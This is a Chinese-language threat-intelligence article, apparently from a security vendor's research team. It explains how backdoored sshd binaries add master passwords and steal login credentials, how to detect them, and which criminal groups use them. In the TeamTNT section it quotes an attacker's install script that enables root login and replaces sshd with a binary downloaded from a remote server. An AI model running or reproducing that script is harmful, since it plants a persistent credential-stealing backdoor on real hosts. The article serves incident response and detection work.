概要
在很多 Linux 平台的应急响应过程中,发现很多系统中存在 sshd 后门,虽然 sshd 后门已经存在 10 余年,但是并没有公开资料讲解如何分析,因此多数安全人员不能发现 sshd 后门,更不清楚如何分析,从而导致系统中的 sshd 后门长期存在,sshd 后门常用功能是记录所有登录本主机的账号密码,以及增加万能密码,也有的会将账号密码传输到攻击者得到服务器中,攻击者可以利用后门或者获得后的密码直接进入系统,如入无人之境,长期的对目标系统进行侵害,属于 Linux APT 攻击技术,本篇文章将会讲解两种分析 sshd 后门的方法以及 4 种 sshd 后门对应的黑客团伙,给大家提供一些分析思路,其余的 ssh wrapper 后门、ssh 软链接后门等相对简单,就不在文中提及,感兴趣的话可以自己进行分析。
sshd 万能密码后门实现原理
sshd 程序是 openssh-server 软件包的其中一个可执行程序,属于服务端程序,默认开放 22 端口,对外提供 ssh 服务。由于 openssh-server 是开源程序,任何人都能够对其源码进行更改,重新编译,为攻击者植入恶意代码块提供了技术可能,所以除了sshd程序会被攻击者篡改之外,openssh-client 软件包中的 ssh 命令也经常被攻击者篡改,用来窃取目标机器连接其他外部机器的账号密码等信息。
1. 万能密码认证功能示例
以下是网络中的一个 openssh-5.9p1 的一个后门代码,在密码认证文件 auth-passwd.c 中的 auth_password 函数内添加一个判断条件,如果密码等于 SECRETPW(这个数值可以自己配置),则返回 secret_ok=1 表示密码认证成功,就不进行接下去的密码判断流程,相当于添加了一个万能密码。
2. 登录账户密码记录功能示例
在和上方相同的文件 auth-passwd.c 中的 auth_password 函数中添加如下的代码,指的是如果系统密码认证成功,则将用户名密码以特定格式加入到自定义的 ILOG 文件中。
sshd 万能密码后门快速检测方法
sshd 万能密码后门的检查方法主要有两种,静态检测和动态检测,静态检测包含 sshd 程序的完整性校验,以及可执行文件的特征检测,可以使用 yara 规则对已知的 sshd 后门程序的特征进行搜集,然后扫描系统中的 sshd 可执行文件,对被篡改的 sshd 程序逆向分析,动态检测相对麻烦些,而且需要一些 Linux 系统调用相关知识,适用于 sshd 加密加壳等无法直接逆向分析的情况。
1. sshd 程序完整性检查
使用系统中自带的 rpm 程序,或者 dpkg 程序对系统中用软件包安装的 sshd 程序进行完整性校验,将初始化安装时的 md5 与目前的 md5 进行对比,如果发生变化则说明文件被篡改,则进行下面的分析。
centos 系列示例 rpm -Vf /usr/sbin/sshd
S.5….T. /usr/sbin/sshd
S 关键字代表文件大小发生了变化
5 关键字代表文件的 md5 值发生了变化
T 代表文件时间发生了变化
2. Linux 下静态快速识别
获得 sshd strings 之后的内容,写入到 test 文件中,使用正则查找 .rhosts 字符,在该字符下方可以看到万能密码,以及密码文件写入的位置,如果没看到可以在上下 30 行内查找。
3. sshd 后门逆向分析
3.1 万能密码与本地记录账号密码型
将 sshd 程序拖入 ida 中,点击右上角的 s 符号,即可见下方 strings 窗口,使用 ctrl+f 查找 .rhosts 字符。
点击进入该界面,即可看到万能密码和密码存放路径在 .rhosts 附近位置。
有时恶意程序并不像上述情况简单,万能密码及账号相关字符不能被直接查找到,这时候则需要我们使用 ida 的 F5 功能,查看 sshd 应用的密码验证处的伪代码,如下直接查看 auth_password 函数的。
如下是加密后的 sshd 后门的万能密码:
3.2 账号密码网络回传型
sshd 后门除了直接将账号密码记录在本地,也可以通过网络直接将账号密码传输给攻击者,在内网情况下更加有利于攻击者,可以绕过网络的限制直接拿到内部账号密码,下方是一个利用 Linux 系统中的 mail 命令来传输,将窃取到的登录的账号密码发送到攻击者的邮箱当中。
4. 动态分析
当 sshd 程序经过加密、加壳、混淆等操作后,针对 sshd 后门会记录账号密码相关特性,可以在 Linux 中动态对 sshd 进行调试分析。strace 是一个可用于诊断、调试和教学的 Linux 用户空间跟踪器,它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。系统中可以使用 strace 命令对 sshd 进程文件相关系统调研,以及写 write 系统调用进行追踪,使用一台机器跟踪 sshd 服务进程,另外一台机器则进行 ssh 登录操作,在跟踪页面监控 sshd 打开的文件及写入操作,示例:
对 sshd 进程进行跟踪
将账号密码写入到自定义的 /var/run/sshd.mm.XXXXXX 文件当中
5. sshd 后门 yara 检测规则示例
以下是针对上方分析过的 sshd 后门写的 yara 检测规则:
相关黑客团伙
在以往的黑客攻击活动中,发现有部分针对 Linux 平台攻击的 APT 以及黑产团伙,APT 攻击团伙主要代表为 Oldfox老狐狸,XJ 团伙,黑产团伙则包括 TeamTNT挖矿团伙,pm miner 挖矿团伙等,下面仅以这四种进行示例分析:
1.sshd 后门与 Oldfox 团伙
Oldfox老狐狸 APT 攻击团伙,是微步发现并命名的国内老牌黑产团伙,主要攻击新闻媒体类站点,科技行业,app 下载站点,金融站点等,也会直接进行资金窃取攻击,在 Linux 平台经常使用 sshd 后门进行内网渗透,潜伏时间长,内网渗透率高。Oldfox的 sshd 后门包含万能密码功能,以及记录账号密码到特定文件路径的功能,万能密码相对随机,有数字和字母组成,全部是小写。
以下是 Oldfox团伙使用的 sshd 后门样本,应急响应排查的时候获得:
Oldfox 老狐狸团伙的工具包中制作好的 sshd 后门及 ssh 后门一览,每一个后门内的密码及日志位置的都不同,编译好的后门版本也不同。
2. sshd 后门与博彩黑产 XJ 团伙
博彩黑产 XJ 团伙是微步 2019 年公开的一个国内博彩黑产团伙,由于攻击者的 C&C 常使用字符串“xj”,我们将其命名为 XJ 团伙,推测是早年博彩黑产星际团伙的竞争对手,因为 C&C 中字符经常为 xjdsb(星际大 sb),XJ 团伙主要通过 Web 漏洞、服务器漏洞以及弱口令爆破等方式对目标网站进行渗透,并善用反弹 shell 后门、Xnote、sshd 后门,webshell 等木马工具实现远程控制、长期驻留以及信息窃取。XJ 团伙会通过篡改网站页面、配置文件、数据库等方式在合法网站植入博彩信息,用于推广各类博彩站点。
以下是博彩黑产 XJ 团伙渗透时使用的 sshd 后门,拥有万能密码功能,以及利用系统中的 curl 命令将窃取到的账号密码发送到 XJ 团伙的远程服务器的功能。
3. sshd 后门与 TeamTNT 团伙
TeamTNT 挖矿团伙,因为使用的木马和挖矿配置邮箱中存在 teamtnt 相关关键字,所以被称为 TeamTNT 挖矿团伙,也被部分研究员称为 ash miner 挖矿团伙,是因为挖矿木马的初始化脚本名称包含 ash 关键字,所以称之为 ash miner 挖矿团伙,该团伙已经活跃多年,经常使用各类 rce 漏洞进行 Linux 平台挖矿与 Windows 平台挖矿,除了挖矿外,攻击者还会寻找有价值目标进行手动渗透操作,根据我们掌握的攻击者使用的木马可知,攻击者会进行提权,安装 sshd 后门,安装 Linux 内核模块,安装 Windows 驱动程序等操作以便于进行持续性攻击。
以下是 ash miner 挖矿团伙手工渗透时使用的 sshd 后门,其中 sshd.sh 是自动化安装 sshd 后门的脚本程序。
sshd.sh 脚本内容为:
sed s/prohibit-password/yes/g /etc/ssh/sshd_config > /etc/ssh/sshd_config.ok
rm -f /etc/ssh/sshd_config; mv /etc/ssh/sshd_config.ok /etc/ssh/sshd_config
mkdir /var/empty
ln -s /root/.ssh/authorized_keys /root/.ssh/authorized_keys2
/etc/init.d/ssh stop
mv /usr/sbin/sshd /usr/sbin/ssdh
wget http://62.2x.x.x/.tmp/sh/bd/sshd -O /usr/sbin/sshd
chmod +x /usr/sbin/sshd
/etc/init.d/ssh start
rm -f $0
以下是 ash miner 挖矿团伙使用的 sshd 程序,密码认证代码处逆向后的相关特征:
4. sshd 后门与 pm miner 团伙
pm miner 挖矿团伙,是因为攻击者的木马安装脚本的名称到目前为止一直都是 pm.sh,所以我称它为 pm miner 挖矿团伙,该挖矿团伙活跃目前仍比较活跃,常使用 redis 空口令以及其他 rce 方式进行传播,攻击者也会挑选目标进行进一步的内网渗透攻击,使用自动化脚本进行 sshd 后门窃取账号密码,痕迹清除,以及回传数据等操作,攻击者会根据拿到的数据筛选目标进行进一步攻击,从而扩大攻击战果。
以下是 pm miner 团伙攻击使用的工具包文件,里面包含自动化安装 sshd 后门脚本,清除登录日志脚本,重新编译后的 rm文 件,ss 文件,ssh 木马,sshd 后门等程序。
下方是 pm miner 挖矿团伙使用的 sshd 后门程序,关键逆向后的代码:
因篇幅限制,仅列举部分攻击团伙的 sshd 后门,还有很多 sshd 后门没有归类到具体的攻击团伙,感兴趣的同学可以自己进行 hunt 以及分析。
总结
sshd 后门的检测也是和攻击者对抗的一个过程,只有了解攻击者的行为模式,实际实现检测的过程中才能够更好的发现攻击者的攻击行为,除了万能密码型后门,也可以有使用指定端口就免密登录的后门,还有通过网络将窃取到的账号密码直接传输到攻击者的服务端后门。目前这种检测方法,适用于检测现有的一些 openssh-server 的万能密码后门,测试多个公开 sshd 后门均适用,针对其他类型的 sshd 木马后门,则需要对具体分析方式进行一些调整,但是整体分析流程还是相同的。
引用
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf
https://github.com/jivoi/openssh-backdoor-kit
0073e1a8c268e1072321fc4abae60ff1f421292dc2557e123e1c57da490ff18a
681a00df2e2cc680a4b68bdb6fe7d55c34d6d3fc35d462c78ebb659f9cb2cd60
4c537834c5d80f97feeaf07c61053cbd1c2a3728d30342b7dfea5d2ed66b2921
b9e866a045802f0b1cc813658b0d1c0c6d37b3857b17d35a1d5a9a79d8c1e5e4
附-关于微步在线研究响应团队
微步情报局,即微步在线研究响应团队,负责微步在线安全分析与安全服务业务,主要研究内容包括威胁情报自动化研发、高级 APT 组织&黑产研究与追踪、恶意代码与自动化分析技术、重大事件应急响应等。
微步情报局由精通木马分析与取证技术、Web 攻击技术、溯源技术、大数据、AI 等安全技术的资深专家组成,并通过自动化情报生产系统、云沙箱、黑客画像系统、威胁狩猎系统、追踪溯源系统、威胁感知系统、大数据关联知识图谱等自主研发的系统,对微步在线每天新增的百万级样本文件、千万级 URL、PDNS、Whois 数据进行实时的自动化分析、同源分析及大数据关联分析。